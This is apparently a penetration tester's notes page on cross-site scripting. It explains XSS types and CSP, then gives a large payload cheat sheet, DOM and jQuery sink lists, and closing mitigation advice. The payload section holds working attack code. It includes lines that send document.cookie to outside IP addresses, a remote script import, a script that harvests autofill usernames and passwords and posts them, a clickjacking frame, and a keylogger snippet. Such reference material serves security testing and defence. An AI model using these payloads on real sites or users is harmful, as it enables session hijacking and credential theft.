XSS

Summary

Web applications at their core need some framework to run and execute code to create dynamic webpages. The language of choice for most of these frameworks ends up being JavaScript. As with anything that contains an underlying technology it is important to keep in mind how that backend tech will interact with supplied user-data. This is where JavaScript Injection, or XSS, comes into play. With some ingenuity and grit an XSS payload can be created to bypass even decent protections under the right circumstances and run JavaScript code in various locations.

Where JS can be ran is dependent on the type of XSS being exploited. The three basic ones break down into Reflected, Stored, and DOM. Reflected is only client side through the web browser and requires a link to be visited for exploitation. Stored places the payload on the server to execute for all visiting a page. DOM targets the Document Object Model of JS and seeks to exploit code locally running in the browser. The severity of an XSS vulnerability is dependent both on the type of XSS it is as well as the popularity or functions of the endpoint itself. XSS after all can only perform actions a user could and access information a user can access, so an anonymous note taking app having XSS is likely to have low impact.

Getting deeper into the topic there are specific renderers such as jQuery and AngularJS which have specific exploits to bypass sandboxes or exploit code within the framework. Content Security Policy can be added for an additional layer of complexity for bypassing. A Content-Security-Policy can define self or a domain to accept scripts and images from. There could be a nonce present that is required to be in a tag or a hash of the script in question to prevent tampering. CSP presents a whole host of protections to bypass and some imagination is needed to properly navigate it.

Methodology

When looking for XSS ask/try the following:

Capabilities

XSS
Webapp Capabilities

Found In

User Input
Parameters
Account Registration

Tools/Examples

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://developer.mozilla.org/en-US/docs/Web/API/Location#wikiArticle https://appsecexplained.gitbook.io/appsecexplained/common-vulns/injection/javascript-injection-xss/xss-methodology

classics

"><u>test123
<u/onmouseover-alert(1)>test123
print()
<svg/onload=alert(1)>
<link rel="canonical" accesskey="X" onclick="alert(1)" />
<img src=x onerror=this.src="http://192.168.2.50:8080/?"+document.cookie;>
<script>document.location='http://10.10.14.5/?'+document.cookie</script>
<iframe src=file:///etc/passwd width=1000px height=1000px></iframe>
<a href="http://"onmouseover="prompt(1);">
<img src=1 onerror=alert(1)>
<img src=x onerror='eval(atob(""))'>
<script src=data:text/javascript,alert(1)></script>
<img src=x onerror=import('https://mysite.com/1.js')>

exploiting src in tags

<script/src=data:,alert()>
<script src="data:text/javascript,alert(1)"></script>

sinks to DOM-XSS

document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
location.search
window.location

jQuery sinks to DOM-XSS

add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#common-payloads

basic requests

let xhr = new XMLHttpRequest()
xhr.open('GET','http://website.com',true)
xhr.send('email=update@email.com')

fetch('http://website.com')

generic form submitting

<script>
var csrfToken = document.getElementsByName('csrf')[0].value;

var data = new FormData();
data.append('csrf', csrfToken);
data.append('postId', 6);
data.append('comment', `${username}:${password}`);
data.append('name', 'victim');
data.append('email', 'test@test.com');
data.append('website', 'https://test.com');

fetch('/post/comment', {
	method: 'POST',
	mode: 'no-cors',
	body: data
});
</script>

grabbing autofill passwords

<input type="text" name="username">
<input type="password" name="password" onchange="csrf()">

<script>
function csrf() {
var csrfToken = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;

var data = new FormData();
data.append('csrf', csrfToken);
data.append('postId', 6);
data.append('comment', `${username}:${password}`);
data.append('name', 'victim');
data.append('email', 'test@test.com');
data.append('website', 'https://test.com');

fetch('/post/comment', {
	method: 'POST',
	mode: 'no-cors',
	body: data
});
}
</script>

clickjacking

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://cybercherney.github.io/"></iframe>

keylogging

document.onkeypress = function(e) {
 get = window.event ? event : e
 key = get.keyCode ? get.keyCode : get.charCode
 key = String.fromCharCode(key)
 console.log(key)
}

Mitigation

Filter input when it is received
Encode data on output
Html should be converted to HTML entities < => <
Javascript should be Unicode-escaped < => \u003c
When embedding user input inside an event handler unicode-escape then html-encode
Validate on arrival
Things like protocol, data types, and allowed characters
Use whitelists not blacklists of the above
Use DOMPurify to filter and encode within the browser if users need HTML markup (not a full solution)
Evaluate escapes of templating engines in use
Use appropriate response headers
Be sure to specify accepted Content-Type and X-Content-Type
Framekiller JS breaks out of iframes
Content-Security-Policy (CSP) headers reduce severity:
default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';
X-Frame-Options to specify what origins are allowed to embed
DENY or SAMEORIGIN prevents controlled sites from clickjacking/ iframe